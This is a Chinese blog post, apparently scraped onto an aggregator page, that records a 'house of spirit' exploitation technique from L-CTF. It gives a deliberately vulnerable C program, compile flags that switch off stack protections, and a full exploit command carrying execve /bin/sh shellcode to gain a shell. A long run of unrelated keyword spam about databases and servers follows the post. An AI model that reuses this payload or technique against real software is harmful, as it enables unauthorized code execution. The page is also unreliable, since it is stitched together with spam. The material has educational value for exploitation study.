【溢出利用技巧】house of spirit friendly stack overflow
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。样例代码如下:/* * blackngel's vulnerable program slightly modified by gb_mast
千家信息网最后更新 2025年01月20日【溢出利用技巧】house of spirit friendly stack overflow
学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。
样例代码如下:
/* * blackngel's vulnerable program slightly modified by gb_master */#include#include #include void fvuln(char *str1, int age){ char *ptr1, name[32]; int local_age; char *ptr2; local_age = age; ptr1 = (char *) malloc(256); printf("\nPTR1 = [ %p ]", ptr1); strcpy(name, str1); printf("\nPTR1 = [ %p ]\n", ptr1); free(ptr1); ptr2 = (char *) malloc(40); snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); printf("\n%s\n", ptr2);}int main(int argc, char *argv[]){ int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0}; if (argc == 3) fvuln(argv[1], atoi(argv[2])); return 0;}
编译命令如下:
gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos
Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:
sudo apt-get install libc6-dev-i386
这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。
局部变量的内存分布如下:
0xffffd03c name0xffffd05c ptr20xffffd060 ptr10xffffd064 local_age
样例测试命令如下:
./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'` 48
这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:
地址
内存
函数
变量
命令
局部
编译
技巧
有效
成功
代码
关键
大小
字段
开发包
思路
数据
文件
错误
问题
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
服务器冷电
邯郸办公系统软件开发价钱
网络安全小报背景图
互联网网络安全漏洞分析
网络安全的管理与协议
阳泉政务软件开发公司
网络技术公司注册资本认缴
数据库怎么删除单据
校园网络安全有那方面
专科网络技术知识点
1g2核服务器能撑起论坛吗
怀旧服服务器的位置
如何提高服务器保证安全
官员数据库 人民网
计算机网络技术需要多少分钟
csmar数据库的数据怎么下载
深圳龙华大浪软件开发公司
广达服务器 调转速
安全软件开发值得推荐
前端网页写入数据库的原理
计算机网络安全论文摘要
数据库 函数 返回 表
ef 查询外键数据库
寻甸上门软件开发报价表
校园安全辅助服务器
西青区网络技术诚信合作
电商和计算机网络技术哪个好
电信云服务器后台网址
怀旧服服务器的位置
如何查询数据库的索引名